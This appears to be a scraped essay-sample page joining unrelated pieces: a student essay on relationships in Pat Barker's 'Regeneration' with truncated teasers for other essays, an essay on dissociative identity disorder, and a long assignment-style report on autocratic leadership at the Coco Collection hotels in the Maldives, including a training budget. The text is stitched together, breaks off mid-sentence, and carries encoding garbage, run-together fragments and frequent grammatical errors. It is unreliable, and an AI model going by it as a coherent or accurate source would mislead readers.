Essay about How does war affect relationships in...

How does war affect relationships in Regeneration? Regeneration is a novel that combines fact and fiction to describe a soldiers experiences of the war. It does this successfully through a series of relationships, not only of a sexual nature but also relationships between Rivers and his patients, which reveal how difficult it is for rivers to form a trust relationship with patients and how stressful their revelations are on him. There are also examples of friendships, between Sassoon and Graves, and love, in particular between Priors and Sarah. One of the first relationships we come across is the doctor - patient relationship between Sassoon and Rivers. Evidence from their first conversations seems to suggest that at†¦show more content†¦From this conversation we learn that Sassoons mother mollycoddled him and believed that he was delicate and his brains shouldnt be taxed. And because of this he never really found out what he wanted to do, until he joined up to the army on the first day. After this discovery Rivers pushes Sassoon as far as he can, simply by praying on his civilian hatred, he asks him think you might find being safe while other people die rather difficult? This is a rather provocative statement to which Sassoon responds in a very angry a defensive manner Nobody else in this stinking country finds it difficult this is an indication of his ant-civilian attitude and of how the relationships with the people back home would be. However despite his being at Craiglockhart Rivers sees Sassoon as a mentally and physically healthy man and he has no worries about Sassoon refusing to go back to the war as he knows that Sassoon will feel that it is his duty to go back. The relationship between Graves and Sassoon is one of the strongest friendship. In fact it was Graves who rigged the medical board that got Sassoon sent to Craiglockhart in the first place. This would have been very difficult for Graves as he appears to be a truthful person and he knew that his actions may upset his friend even though this was no the intention. However he only had his friends best interests at heart knowing that beingShow MoreRelatedRegeneration683 Words   |  3 Pagesquestion. One way is to argue that Regeneration is not an anti-war novel. First, because the work is historical fiction, we might assert that it was necessary for Barker to include Sassoons protest against the war as an important facet of his character, but that his protest is not central to the novel. Second, as the narrator does not play an intrusive role in the story, there is no overarching judgment of the occurrences and events that carries a didactic anti-war tone. Third, in the characters obser vationsRead MoreComparing the Ways Michael Herr in Dispatches and Pat Barker in Regeneration Show the Effects of War2879 Words   |  12 PagesWays Michael Herr in Dispatches and Pat Barker in Regeneration Show the Effects of War When comparing Michael Herrs Dispatches and Regeneration by Pat Barker the differences in format, style and setting are clear from the outset. However both books explore the horrifying effect of war on those directly and indirectly involved. The two authors attempt to take the reader away from objective, statistical impressions of war and closer to the real experiences of those affectedRead MoreAnalysis Of Pat Barker s Night 2568 Words   |  11 PagesWhen people think of war, there first instinct is to think about the physical pain soldiers have gone through, the physical demand of training before and during. What people miss is the mental trauma that affects soldiers during and after the war. In today’s society it is much more acceptable to speak about mental health issues due to the war and we have established a term for it Post Traumatic Stress Disorder (PTSD). We have established many options for soldiers and families who are affected byRead MoreAn Overview of Urban Regeneration3596 Words   |  15 PagesINTRODUCTION 1.0 An Overview of Urban Regeneration According to Withgott and Brennan (2007), people are now live at a turning point. Beginning about the year 2007, for the first time in the human history, more people will live in the urban areas than in rural areas. The development of social diversity is one of the principal objectives of urban regeneration. It aims at attracting new inhabitants in degraded districts but also preventing their inhabitants to leave them as soon as the situationRead MoreThe Corrupt Mind Of An Innocent Person Essay2020 Words   |  9 Pagesexperiencing an event in one’s life, where it completely alters his actions and thoughts, an experience so traumatic that it affects his or her family members as well. The traumatized person’s thoughts and actions towards his or her family alter into something horrifying, because of one dramatic event in their life. This event could have been a shooting, molestation, car accident, war, or anything that might have seemed life threatening. This one event w ould change this person forever, creating a diagnosisRead More The Sun Also Rises1869 Words   |  8 Pagesâ€Å"Fiesta: The Sun Also Rises† from the American Ernest Hemingway takes the reader in an after World War One Europe. More precisely this novel is based on men and women that experienced this war, with all its pains, changes and consequences. Hemingways narrator , Jack Barnes, is an American journalist who suffers a war-wound that leads him to an emotional wound. Through the novel division in three books, the reader can see an evolution in Jakes behaviour. He goes from a desperate wounded man livingRead More International Relations Essay2632 Words   |  11 PagesEurope and arguably the entire world looked to the United States for a recovery plan. Great Britain was loosing control over its colonies, France and Germany had been destroyed by the war, and the Soviet Union was gaining power. This put the United States in a position of power, the question that arises with this is, does the United States try to gain control as the hegemonic power in the international system? Is there a real necessity in the region of the Middle East to gain the hegemonic power in termsRead MoreAnalysis Of Julie Mehretu s Paintings2007 Words   |  9 Pagesto architectural drawings. How does the mapping nature of Julie Mehretu’s paintings convey a sense of identity in a very political nature and how is it a representation of the post colonialist world in which we inhabit? Scholars all seem to agree that Mehretu’s canvases are maps, but what do they seek to accomplish? My analysis of Mehretu’s Stadia III will use a biographical and post colonialist methodology to explore the ways in which Mehretu’s own upbringing and how the very nature of her mapRead MoreReligion Is A Double Edged Sword2565 Words   |  11 Pageselements for a culture of peace is social justice. Perceptions of injustice lead to discontent, non-cooperation, conflict, c ivil unrest, and war. (Mische, 2007) Religions have a powerful role in shaping ideas of social justice and legitimacy, and also in responding to perceptions of injustice and illegitimacy. How Religion Deals with Conflict and Peace Religion can be used to promote either conflict or peacebuilding. Religion may not be the principal causeRead MoreExploration of English Law2232 Words   |  9 Pagesincompatible with convention rights, or to declare it unconstitutional. This is portrayed in s 4 of the act which empowers the courts to declare that primary legislation is incompatible with the ECHR. This declaration, however, does not affect the validity, continuing operation and enforcement of the provision in question which remains even applicable to the case in question. The primary responsibility for ensuring compliance with the Convention is placed on ‘public

Dissociative Identity Disorder ( Dissociative Disorder )

Dissociative Identity Disorder Dissociative identity disorder, formerly known as Multiple Personality Disorder, is a mental illness that is greatly misunderstood, much like many other mental illnesses. Nicholas Spanos, Professor of Psychology, hypothesized Multiple Personality Disorder as a defense against childhood trauma that creates â€Å"dissociation† or a split mental state. The trauma sustained during childhood is so substantial, that the individual creates different identities to cope with it (Spanos, 1994). The disorder first showed up in the Diagnostic and Statistical Manual of Mental Disorders in 1978 in the DSM-III, but the name was changed to Dissociative Identity Disorder in the DSM-IV (Dunn, 1992). Our textbook for this course, Experience Psychology, defines Dissociative Identity Disorder as â€Å"a dissociative disorder in which the individual has two or more distinct personalities or selves, each with its own memories, behaviors, and relationships.† The text goes on to say that one identity presents itself at a time and is dominate for the time it is present, and then another identity presents itself and so on and so forth (King, 2013). Early Research and Beliefs Early psychologists and psychiatrists believed that Multiple Personality Disorder was a result of demon possession. The idea of multiple personalities was first conjugated in 1646, but the actual first account of MPD was said to be described in 1791 by Eberhardt Gmelin (â€Å"A History of Dissociative IdentityShow MoreRelatedDissociative Identity Disorder ( Dissociative Disorder )1194 Words   |  5 PagesDissociative Identity Disorder is a disorder distinguished by the existence of two or more distinct personality states. It is also known as DID or Multiple Personality Disorder. It is very rare, with only 20,000 to 200,000 known US cases per year. Currently, there is no known cure, but treatment can sometimes help. Many believe that DID can be caused by a significant trauma and is used as a coping mechanism to help avoid bad memories. The disorders most often form in kids victim to long-term physicalRead MoreDissociative Identity Disorder : Dissociative Identification Disorder1485 Words   |  6 PagesDissociative Identity Disorder Dissociative Identity Disorder is a mental disorder where an individual experiences two or more distinct personalities. When an individual is diagnosed with Dissociative Identity Disorder, one personality has dominant control of an individual. This personality controls how a person may act and how they live everyday life. A person diagnosed with this disease may or may not be aware of their alternate personalities. Each personality is contrasting of each other withRead MoreDissociative Identity Disorder ( Dissociative Personality )1254 Words   |  6 PagesDissociative identity disorder (previously known as multiple personality disorder) is thought to be a complex mental condition that is likely brought on by numerous variables, including serious injury amid early adolescence generally compelling, repetitive physical, sexual, or psychological mistreatment. The greater part of us have encountered mild dissociation, which resemble wandering off in fantasy land or losing all sense of d irection at the time while taking a shot at an undertaking. In anyRead MoreDissociative Identity Disorder2296 Words   |  9 Pagesdefines dissociative identity disorder (DID) as the occurrence of a minimum of two different personalities and maybe more than two. It also clarifies that the switching between the distinct personalities can be observed by the individual who is suffering from dissociative identity disorder or witnessed by others. (Barlow, 2014, P. 1). This disorder used to be known as multiple personality disorder, which is more recognized and understood to people without a psychology background. This disorder can beRead MoreDissociative Identity Disorder970 Words   |  4 Pages Dissociative Identity Disorder (DID), formerly known as Multiple Personality Disorder (MPD) is a severe condition in which two or more dissimilar identities, or character states, are present and alternately take control of an individual. The person experiences memory loss that is vaguely extensive to be explained as common forgetfulness. These symptoms are not taken in consideration for by seizures, substance abuse or any other medical conditions. Description of DID: Symptoms: Read MoreDissociative Identity Disorder2780 Words   |  12 PagesDissociative Identity Disorder Imagine waking up in a new house, town, city, even state and not knowing how you got there. Now add onto that thought of forgetting almost a year of your life because someone else, or something, has taken over your body. That is just a look into dissociative disorders in general. Dissociative Disorders are ‘extreme distortions in perception and memory† (Terwilliger 2013). Dissociative Identity Disorder (DID), or previously known as Multiple Personality Disorder, isRead MoreDissociative Identity Disorder2158 Words   |  9 Pagesâ€Å"Dissociative Identity Disorder† Through out the years there has been many disorders that continue to be diagnosed on people, many can be difficult to deal with. Some of these disorders can be uncontrollable and can make it harder on the patients who are trying to get better. Disorders are not sicknesses that can be cured and gone with a couple of doses of medicine, disorders are serious problems a person has to deal with usually if not for a large amount of time, it can be every day for the restRead MoreDissociative Identity Disorder And The Disorder919 Words   |  4 PagesDisorder and Topic The disorder I chose to research for my paper was Dissociative Identity Disorder. Dissociative Identity Disorder is formerly known as multiple personality disorder and is characterized as an individual presenting two or more alternate personalities. Those said personalities are said to essentially help an individual escape the stress and overwhelming struggles of everyday life (Traub, 2009). As for my topic I chose to explore was whether or not Dissociative Identity DisorderRead MoreDissociative Identity Disorder1221 Words   |  5 PagesThis research paper is about Dissociative identity disorder (DID) as known as multiple personality disorder. DID in which a person could have many different parts to their personality due to severe stress and an experience of a trauma. A person with DID when the have control over their one identity they cannot remember what they did when their other identities were in control. Most of the time people with DID have two personalities but they could have more than two which is referred as alters. ThenRead MoreDissociative Identity Disorder1030 Words   |  5 PagesDissociative Identity Disorder Defining what is abnormal is not necessarily easy. There are many different criteria to determine what exactly is normal and what is abnormal. According to Ciccarelli and White (2012) as early as 3000 B.C.E. there have been human skulls found with holes in them. Archaeologists suspect this was caused because of the treatments they had years ago such as â€Å"trepanning†. Trepanning is done nowadays as well to remove extra fluids from the brain, as for years ago doctors did

Coco Collection Maldives

Question: Discuss asbout the Coco Collection Maldives ? Answer : Introduction: Coco Collection has been one of the prominent group of hotels, a supplementary of Sunland Hotels. In July 2007, the organization opened its flagship after which the group has expanded leaps and bounds as a trailblazer in stylish, classy yet sustainable generosity. The assortment of Coco Collection consists of three distinctive brands, Coco Palm, Coco Prive and Retreats. The Coco Resorts: Retreats takes into account the opulence resort of Coco Bodu Hithi; Coco Palm attributing the environmentally cognizant escapes Coco Palm Dhuni Kolhu; and Coco Prive consisting of the classified and fashionable Coco Prive Kuda Hithi Island. Coco Palm Dhuni Kolhu and Coco Budhi Hithi are mutually members of the Preferred Hotels and Resorts, in lieu of the optimum and most diversified global assortment of self-regulating experiences in hotel and resorts. Coco collection provides guests with a widespread and elite display of properties, services and experiences to select from. Leadership Performance: Leadership and Management needs to be entirely merged where both should be properly used in promoting innovation and organizational learning. Leadership needs to be in ideal equilibrium with the management of hotel. There cannot be any existence of real terms without the appropriate managerial leadership. Collective work with commitment is what is required for real teams to perform. There has to be more of cooperation and coordination between all the departments in the hotel. It depends on the ways leadership is applied during supervision, a prevailing energy that will have effect and pervade all the other things. The Coco Collection group of hotels has a narcissist director who does not possess that power in empowering workers, listening to them in an honest manner and not enthusiastic to share leadership. The director believes in autocracy and controls the employees in the organization. Handling the employees and supervising them is good but not listening to the employees will eventually affect the performance of the employees. The senior employees who directly report to the directors is also frustrated with the attitude of the director. As they are not happy with the director, they are not able to handle the junior employees. As the directors are not ready to the senior managers, the senior managers in turn did not listen to the problems of the junior employees. As a result, none of the employees is happy working in the organization. It can be said that the director mainly practiced transactional and autocratic leadership style. The main idea on which the leadership style of the director and the senior employees is based on rewards and punishments. The employees are being punished for doing anything wrong. The employees are being rewarded for doing good jobs but the rewards are mainly based on money. Thus, the only language that the employees understand is the language of money and punishments. They are not ready to the help the co-employees because they feel that if they help the co-workers, their work will be hampered and they do not get time to do their work. There is lack of communication and cooperation among the employees. Lack of communication and cooperation also hampers the quality of work of the employees. As the employees are always cared of the punishments. They are seldom interested in finding something new. They just completed their work time and left the office. They never thought if creativity or innovations as they felt it will hamper their work and it will eventually hamper their target that has been set by the organization. The hotel was unable to bring in any change as far as innovation The senior management and the director do not think of training the employees for better development of the employees. The management of an organization should not only think about its own benefits but should also think about the development of the employees[1]. It will not only help them in their business but will also help them in spreading a positive PR. When the employees will go out of the organization, they will be able to shoe case their skills. In this way, the knowledge that they have acquired from the previous organization is presented to the new organization where they are going next. If an organization trains the employees well, the reputation of the company will be enhanced through then skills that will shown by their employees. However, the managers of the Coco Collection group of hotels are not interested in making the employees learn new things or teach them something different. They only thought of the hotel is getting business by making the employees work as per the rule of the organization. Eventually, the employees have started disliking their monotonous jobs. Employees who are working in the hotel industry need to be all-rounder. However, when they saw that they are doing the same work every day, they started disliking their jobs and lost interest from work. Skill Needs: In tourism industry, for example in Coco Collection, communication is the most important skill that needs to be properly maintained for achieving success. The hotel or hospitality industry is a demanding sector where if the communication lines and goals are not properly set, things might get jeopardized and hamper the whole work process. Coco Collection in Maldives boasts of many tourists from all over the globe making communication much more important. Providing exceptional service to customers would become a concern without being able to converse with them about their prospects. Communication between Managers and the hotel staff becomes important, as there has been an instance in the Coco Collection, where there was a communication gap between the server, the manager and the kitchen staff that led to wrong order being served to that customer. Proper communication leads to enhanced working ambiance where the manager should be able to communicate every possible details to the staff s o that they boast of every in depth knowledge about their jobs and not become frustrated by anything. For example, there might be a situation where the restaurant of Coco Collection group might be running out of certain menu items; it is up to the Manager to let the servers know that these items should not have any order, though if the servers are not aware of such things it becomes critical. Leaders or managers should be able to communicate in the best possible way to avoid any sort of miscommunication that might crop up. It takes years to create goodwill, which cannot be sacrificed in a slip-up through miscommunication[2]. Apart of communication, the leaders should encourage the employees perform. The hospitality industry is full of competition and the staffs need to be competitive enough to match the level of competition. In such a situation, there is need of transformational leadership. The manager and the director should help the employees to learn new things and help them develop their own skills. In this way, the employees will be able to bring in innovation at work. They will love their job and will always be ready to adopt nay kind of change the its need for enhancement of the business. The leaders should listen to the employees as well as help them in their jobs. Another important skill required for hotel General Managers are they are specialized troubleshooters. They are the people who are accountable for creative thinking and realistic solutions in an environment that is fast-paced. Ability is required to make decisions based on amalgamation of company reports and their own professional experiences and ideas. Lastly, financial skill is another important factor for general managers to focus on. The bottomline of the hotel is the responsibility of the General Manager. He is the person who is responsible for setting the rates of the rooms, putting together budgets, approving expenses related to property and seminal for various organizational departments in Coco collection. He is the person who needs to keep track of the money the hotel or the chain of hotels is earning. Improvement Potential: A managers main aim is always to maximize the organizational output and concurrently exploit profitability. For doing so, the manager needs to have positive skills in leadership in his working procedure. Employees are in the habit of taking guidance and support of their seniors or leaders, and their capability of performing soundly may be slowed down by the incapability of the managers in leading by setting the correct example[3]. Effective leadership along with the potential of enhancement is elemental for the management of the staff in Coco Collection group. There are certain things that leaders can do in Coco collection to even better their previous performances. Ethical leadership is one such thing that can be considered by the Coco Collection manager where he needs setting the correct example for employees to experience protected at work. Unethical leadership is something that needs to be avoided as following that can cause destruction to employees at the emotional level that m ight extend to other parts of their lives. Ethics has always been an intricate subject where employees might face various difficult situations at their workplace, where they might form a different opinion with their superiors action, but are frequently afraid to confront them. Improvement is something that the managers need to find within themselves on where they lack and how can they improve themselves. Managers need to manage teams or individuals if the job in hand requires detailed development and prudence[4]. Leadership Development plan: One common mistake that the managers and mentors do make is thinking their job lies in encouraging, complimenting or cheerleading when their employees struggle with self-confidence. Internal leadership development programs are crucial for attaining success. It is something that goes missing from the schedule of many top companies as they focus on saving money[5]. However, experts say that it is essential in cultivating personal in-house flair, if overlooked can bring in dire consequences. Leadership programs assists in easing the sequence of progression, making employees more associated with the business, having the aptitude to transport goods from one section to the entire association. Sometimes the companies hire outsourced trainers and developers who study the situation and come up with relevant solutions[6]. While allowing for diversified programs, it is important to keep in mind the best ones that are action-oriented, instead of being focused only on the theory. Creating a Program: Developing a program based on leadership development, an organization provides employees the opportunity to recognize and develop the presented talent. Such programs permit one to take a closer look at the needs of the leadership and grinding ones skills in a particular area. Determining the suitable leadership style: It is important to select the right one for the business as per the given corporate culture. It is significant in taking a closer look at the existing leaders leadership technique and that of all the successful leaders within the business. Until and unless it is being determined, further analysis would not be possible. Pinpointing the desired leadership changes one would make: The gaps in the leadership need to be sorted out. The developer of such programs or the trainer might necessitate a change in the way an organization is being led. Identifying potential leaders: An organization should look to shape up future leaders as well as develop the existing ones. As in case of the Coco Collection group, it is significant to settle on the precise needs of leadership with one of its manager having self-doubts. Developing a program plan: The leadership skills requirement by the existing leader as essential by employees, and the existing leaders needs to decide on the program format that could be anything from being a rotational program lasting several months to a weekend practicum[7]. Asking for assessment from participants: After completion of programs, it is important for the ones who received training to time the knowledge and share the same if they feel that there has been an improvement in their leadership skills. The employees need to be revisited on a quarterly basis with parallel sort of questions in seeing the ways training have exaggerated them on long-term basis[8]. Proposing a budget: Budget items listed by category Unit cost Units #Units Total Cost (Maldivian Rufiyaa) A) Salaries Training Coordinator 1200 1month 3months 3600 Advisor 800 1month 2 months 1600 Industry Expert 250 1 day 4 days 1000 Total 6200 B)Data Collection Timing Training meetings (lunch, office cost in rent) 350 1day 5days 1750 Total 1750 C) Other Direct Expenses Admin Printing 400 1month 3months 1200 Consultant Visa, Passport Photo 200 1week 1week 200 Projectors 200 1 month 2 months 400 Training cost 350 1 month 3 months 1050 Total 2850 Subtotal 10,800 Overhead (10% of total) 1080 Grand Total (incl. overhead) 11,880 Such leadership programs create a healthy competition in the organization where potential candidates get an opportunity in assessing themselves and where they stand taking into account the objectives of business. The existing leaders should be able to better themselves, as the one mentioned above having self-doubt. Leaders having self-doubts have gone on to become successful ones. Potential Benefits: It is always beneficial to know and understand from an expert where a leader lacks and the ways he can make use of the advice and suggestion to benefit himself and the organization. The trainers are well versed in handling difficult situations and have dealt with such situations innumerous number of times. A trainer who has been outsourced would be the best man to judge the situation without being biased to anything and anyone. The leader too find it comfortable enough in explaining his inner problems to an outsider rather than anyone from within the organization. The company might incur cost for this, as this development program would require time to attain its objectives. It is something that cannot be built within a day; its a continuous process that needs continuous monitoring. The experienced advisors and trainers would also pave the way for a better leadership style that the manager can follow to attain the best possible results for the organization. The whole thing would be presented as a case study to the trainer and the advisor, who would be analyzing it and suggest a model or style that would be best for Coco Collection, Maldives[9]. A leader having self-confidence can create magic in an organization, with innovative ideas and creativity and the ability to take calculated risks. Whereas, a self-doubt one would always put the blame on someone elses shoulder and pressurize others to do the work. If this does not work, the organization might miss other best alternatives in solving the leadership problem. Concentrating on one would lead to miss on other prospects, waste of resources and money. The organization need to pay advisory fees and salaries to trainers for the betterment program of managers and leaders dealing with problems. If things do not work out the total, cost that has been specified for the total program would be a waste. Background Information The leadership problem that is occurring at the Coco Collection hotel chain is majorly delving with the autocratic behaviour of the manager. Even though this leadership style is highly recommended at the time when urgent decisions needs to be taken by the manager, in this respect the problem is arising because the manager is having self-doubt regarding the decisions that he is taking and he is also not ready towards listening to criticisms. As it has been already discussed, Coco Collection is a management hotel company that is operating a range of luxury boutique properties in the Maldives and therefore, there are very high expectations from this hotel. There is also the significance associated with the aspect of customer retention as well as brand loyalty. There have been various instances when crises have been arising that requires immediate attention and quick solving[10]. One of the problematic situations that have been arising within the Coco Collection hotel chain is associated with the aspect of making decisions with incomplete data. Limited evidence is being provided depending on which decisions need to be taken by the management. Therefore, a major challenging aspect faced by the manager at the Coco Collection is to undertake decisions with limited information[11]. Another significant problem that is occurring in respect of the leadership aspect within the Coco Collection hotel chain is that the establishment is unable to do the development of future leaders. The reason being that they are not allowed to do make use of their abilities as well as potential towards making important decisions regarding problematic situations that are arising in the company. The main cause for the occurrence of this is the role played by the manager in the hotel who is following the autocratic leadership style. The staffs without getting the opportunity to be a part of the decision-making process feel less motivated and their best potential is not getting utilized. Moreover, a strong emphasis needs to be given to the significance of building a team that consists of people having varied outlooks as well as backgrounds[12]. In this respect, there is the requirement for clarifying the disadvantages that are associated with the autocratic style of leadership. The fundamental crisis associated with the autocratic leadership style refers to the fact that subordinates are not having the relevant information as to why they are required doing a specific work or in other words, the reason for performing the work. There is occurring the assignment of jobs, providing facilities as well as issuing of instructions without making consultation with the individual who will perform the task. Moreover, the subordinates are compelled towards following the directions that the leaders are providing without asking any questions even when, the directions that are provided might not be considered to be appropriate. As a result, this will be producing feelings associated with becoming helpless as well as frustrated in respect of the staffs[13]. Also, the staffs tend to evade taking responsibility as well as making efforts and therefore, overall potentiality regarding the staffs as well as their creative ideas are not getting used to the utmost. Last but not the least, a threat is occurring in respect of the continuity of the organization since, the staffs are not getting the right scope regarding their growth. Rationale for the research The performances of the staffs take into consideration the aspect of doing the execution of defined duties, meeting deadlines, competency of the staffs as well as effectiveness and productivity to complete the task. Coco Collection is having the requirement for strong leadership styles that will be stimulating the performance of the staffs. Coco Collection is being faced with challenges that are associated with poor innovation, reduced efficiency of the staffs, as well as inability for meeting performance targets[14]. The reason for this taking place is the absence of the strategic interventions regarding the autocratic leadership style in respect of specific circumstances that give rise to crises. The problem associated with the manager having self-doubt and not being able to face criticism positively is influencing the performances of the staffs as well as organizational service regarding the hotel chain[15]. Therefore, the rationale of this research is associated with investigatin g the impact of autocratic leadership style towards the performance of the staffs as well as overall organizational productivity. Critical Evaluation The styles of leadership are having important as well as considerable impact on Coco Collection hotel chain. The leadership styles influence all the individuals starting from senior as well as top management to the new candidates joining the hotel chain. They are creating the corporate culture that will be influencing Coco Collection hotel chain as well as staff performance to meet deadline-based tasks. The style of leadership is referring to the behavioral aspect regarding a leader as well as attitude regarding governance as well as supervision. This is the outcome associated with personality characteristics, experience, attitude as well as the philosophical aspects regarding the leaders. Various circumstances are having the requirement for varied styles of leadership. When there exists limited time for covering a particular crises and there is the requirement towards achieving fast solution and the manager is having considerably better experience or competencies in comparison to the rest of the team, then the autocratic leadership style is considered being productive[16]. This leadership style is providing a clear definition relating to the division amongst leaders as well as workers. The autocratic leaders are making decisions having limited or no staff involvement. The autocratic leaders are considered having more confidence as well as surety regarding the responsibility to make decisions in respect of the strategic plans as well as organizational operations[17]. This leadership style also states that a single individual is having complete authority as well as control over the subordinates. The autocratic manager is having the final say in respect of any matter and he shouldnt be questioned ever and his decisions cannot get interrupted by any subordinate. To be specific, the manager at Coco Collection hotel chain who is following autocratic leadership is having complete authority over his subordinates. He is having the sole authority for treating the subordinates the way he feels like and this is considered effective only when fast as well as rapid decision needs to be applied. This leadership style however, might showcase great outcomes within a reduced period of time. On the other hand, exhaustive utilization of authority will be distorting efficiency in the longer time-period. The reason for this is that staffs are having dissatisfaction and are constantly doing recurring tasks in the absence of doing creative as well as innovative work and therefore, starts feeling less motivated[18]. The autocratic leadership style is promoting a discussion that is one sided and because of this aspect, the creative as well as leadership abilities of the staffs are becoming limiting and every staff is being involved in repetitive daily work based activities. Since the leader is having the authority, there is the scope of exploiting as well as distorting the staffs. The autocratic leadership style will be restricting the communication at the place of work as well as socialization and this might be leading towards having discord as well as conflicting situations within the workplace[19]. Concerning the restriction of communication based on the autocratic leadership style, the communication gap has been occurring at the Coco Collection hotel chain. For instance, the subordinates who are serving food to the customers face a certain crisis where the manager does not communicate to them that there is the unavailability of a particular food item. The manager does not bother doing so since the communication is one sided and it completely depends on their whims and fancies whether they want to convey the matter to the subordinates or not. This results in the subordinates being faced with awkward situations in front of the customers. It also needs to get noted here that efficient workplace communication is depending upon professional association that is made for assisting the everyday organizational function of Coco Collection hotel chain or the continuous development of the hotel chain. When personal matters will be affecting the communication within Coco Collection hotel chain, there will occur the development of a communication problem that might be taking considerable time for tracking down as well as getting resolved. Individuals that are refusing towards communicating effectively based on individual discord will damage the ability of Coco Collection for conducting business as well as slowing the organizational growth[20]. Moreover, based on autocratic leadership style, one-way communication will be becoming an unproductive means for exchanging information all through the hotel chain organization. Staffs as well as managers, however, are required providing feedback every time for the improvement of informati on quality that will get distributed as well as the ways through which the delivery of the information will be made. For instance, when the FB department will be sending out information in a format that confuses other individuals within the organization, then the FB department should get informed about the problems. This should be relating to communication as soon as possible, failing which the information that is being provided by the department will be getting posed as a challenge associated with communication[21]. Research Methodology The reason for the employment of the research methodology is gaining familiarity with the phenomenon or achieving new aspects within the matter. It is also associated with the aspect of portraying in an accurate manner the traits associated with a specific circumstance. It is also required determining the rate with which certain aspects will be occurring[22]. The research methodology that is being used here can be considered to be either applied research or fundamental research. Applied research will be aiming towards finding answer regarding an urgent crises that the Coco Collection hotel chain is being faced with and on the other hand, fundamental research will be majorly concerning with generalizations as well as with theory formulation. Regarding Coco Collection, the research studies that is concerned with human behaviours with the aspect towards making overviews relating to the behaviour of the managers within the hotel chain will be reflecting the aspect of fundamental research within the organization[23]. Also, research associated with identifying trends relating to the social as well as economical aspects within Coco Collection hotel chain will be influencing specific organization for discovering an outcome in respect of the present crises that is occurring within Coco Collection hotel chain. Applied research will be focusing on considering the outcomes of scientific research as well as using it in a direct manner with the real crises-situations that is occurring at Coco Collection hotel chain and this type of research methodology is having concern with the external legitimacy regarding their tasks. Fundamental research will be expanding the information based on business as well as management processes. This will be resulting in universal principles that will be associated with the methods as well as its association with the results. Concerning fundamental research, the researcher will be determining the selection of topics as well as goals and also the flexibility in the time-scales[24]. The sampling methods that have been used in case of the research methodology are random sampling, stratified sampling as well as systematic sampling. Random sampling The random samples will be requiring a method to name or number the target population. These are considered being the optimum method to do the selection of the samples from the population of the interest. Stratified sampling In this sampling method, the researcher will be identifying the various kinds of individuals that will be making up the population as well as working out the quantities required in respect of the sample for being representative. Systematic sampling This will be selecting subjects in a systematic manner from the target population. For taking a systematic sample, there is the requirement for listing every member relating to the population and after that making decisions regarding a sample that needs to be considered. The positive aspect regarding this method is that it will be providing a representative sample[25]. The statistical methods that are used in this respect are standard deviation as well as regression. Standard deviation The standard deviation is considered being the measure regarding a spread of data around the mean. A high standard deviation will be signifying the aspect that the data will be spread in a wider manner from the mean and low standard deviation will be signaling that additional data will be aligning with the mean[26]. Regression This statistical method will be modeling the association within variables that are regarded as being dependent as well as explanatory[27]. Improved effectiveness and efficiency of leadership practices There are different factors that are influencing the improved effectiveness as well as efficiency of leadership practices that are considered as training, support, staff performance, organizational values, technological aspects, goal settings, delegation as well as motivation. Training Every organizational manager is required receiving training that is associated with the ways by which performance evaluations get conducted. Training in respect of practical matters as well as duties of management will be encouraging the managers in becoming leaders having appropriate responsibilities. Without the absence of training in respect of leadership as well as management, the managers will be missing the basic aspects relating to the principles as well as practices associated with leadership. Support The managers will not be able to thrive in the absence of the support from the establishment. An organization will be supporting the decisions of their departments. The actions of the managers whose actions gets appreciated by the organizational seniors will be providing better performance as leaders of business. Consecutively, business leaders that are not getting the support from the employers will end up in failure. Staff performance The performance of the staffs is considered essential in respect of the success of a business leader. This might be considered to be an essential factor that will be affecting leadership in business[28]. Organizational values Managers that are working for companies that are successful as well as highly respected are interested in demonstrating their dedication towards their official posts. To demonstrate principles that are having congruency with the essential values of the company are considered being the signs of productive business leaders. Technology The technological solutions are enabling increased effectiveness as well as efficiency. The technological aspect is considered being an essential aspect that is influencing the organizational leaders since it is influencing the performance of the manager. It will also be influencing the way by which managers will be having the ability for interacting with the employees. The technological aspect in the present scenario is influencing almost all the business aspects, therefore leaders that are encouraging the staffs for using the technological aspects for improving their ability to perform will be contributing towards entire success of the organization[29]. Goal settings Employees are only staying motivated when they have a clear understanding about the work that they will be doing and in what ways that will be contributing towards the organizational success. The staffs can also do the measurement of their development in that respect. Therefore, the staffs are required having transparency and in this regard, SMART objectives need to be implemented. Delegation For improved effectiveness regarding leadership practices the managers are required gathering everyone around, solving the matters as well as explaining the different aspects. It is required ensuring every staff to have an understanding of the thought process, asking a staff towards updating a manual that is considered being suitable and letting them know that they might be able to make decisions without the consent of the manager next time any decision needs to be taken[30]. Motivation When staffs will be finding meaning in their work, they will be getting highly motivated. In respect of assisting in staff motivation, a leader is required providing inspiration to the team that is working under him. Leaders are required managing their actions and are required leading through examples. The leader is required ensuring that they are having time in respect of their employees, needs to have a purpose and have a productive communication process. The leader is also required delegating as well as empowering the team by assisting them in understanding the rational by which decisions need to be conducted[31]. Reflection for employability enhancement Business activities, which are performed at a consistently high level of competency and which are designated by the organization as critical to the competitive position within the market place. In this context, it can be stated that organizations attempt to gain dominance in a market by considering the core capabilities. Core capabilities are the outcomes of a specific set of skills and the production technique, which deliver additional value to the consumers. Coco collection is the management hotel, which operates a range of luxury boutique properties set on some of the beautiful island in Maldives. In order to achieve the consultancy task for the client organization, I think the Coco collection requires to provide in job training to the employees in order to improve the personal work behavior. On the contrary, I also think that the more complete way of approaching is to make a connection with the individual in order to meet the organizational goal or to increase the individual performance of the employees. These are the two alternatives way, which are essential to achieve the consultancy task for the client company. In addition, I observed that Coco collection use the concept of competencies. In this order, the organization follows the integrated knowledge, judgment, skills and the attributes, which are needed to perform a job significantly. A defined set of competencies for each of the position in the organization; it refers the employe es the types of behaviors the organizational values. Therefore, I can infer that with the help of these determinants, the objectives of the business would be met. However, I also observe that the team members of the organization work more efficiently and achieve the potential and the organizational advantage can make a linkage between the personal performance along with the corporate goals and the valuation. On the other hand, in order to achieve the consultancy task for the clients of the company, I think it is necessary to define which of the competencies are required for the success of the organization. It is necessary to ensure that the employees of our company need to demonstrate sufficient expertise. Our company also requires to recruit new and the eligible staffs, who can efficiently handle the critical organizational situation. After that, we also require to measure the performance of them, of required we also need to provide additional customized training program. Lastly, we focused to make a change management procedure for working more effectively. Within the organization, we follow the democratic leadership style. In this connection, we can mention that it is the type of participative leadership. In this type of leadership approach, the employees can take part in the decision making process. Therefore, employee involvement is the key component of democratic leadership style. In this connection, we can facilitate our staffs to participate and give their suggestions towards the management. On the other hand, in order to improve the performance of the employees, we organize a training program. This has increased the collaboration among the employees and the management. Sometimes, we observed that the management can take complex decisions and can solve the complex issues. These would increase the ability to work collaboratively. Innovative ideas would help the employees to increase the organizational performance. However, it can be argued that considering all of the decisions of the employees for make any decision is very time con suming. In addition, I believe that democratic leadership style is helpful to develop a strong team, which tends to be supportive and strong. In this context, it can be mentioned that honesty flourishes and more collective working is considered due to the opinions of the 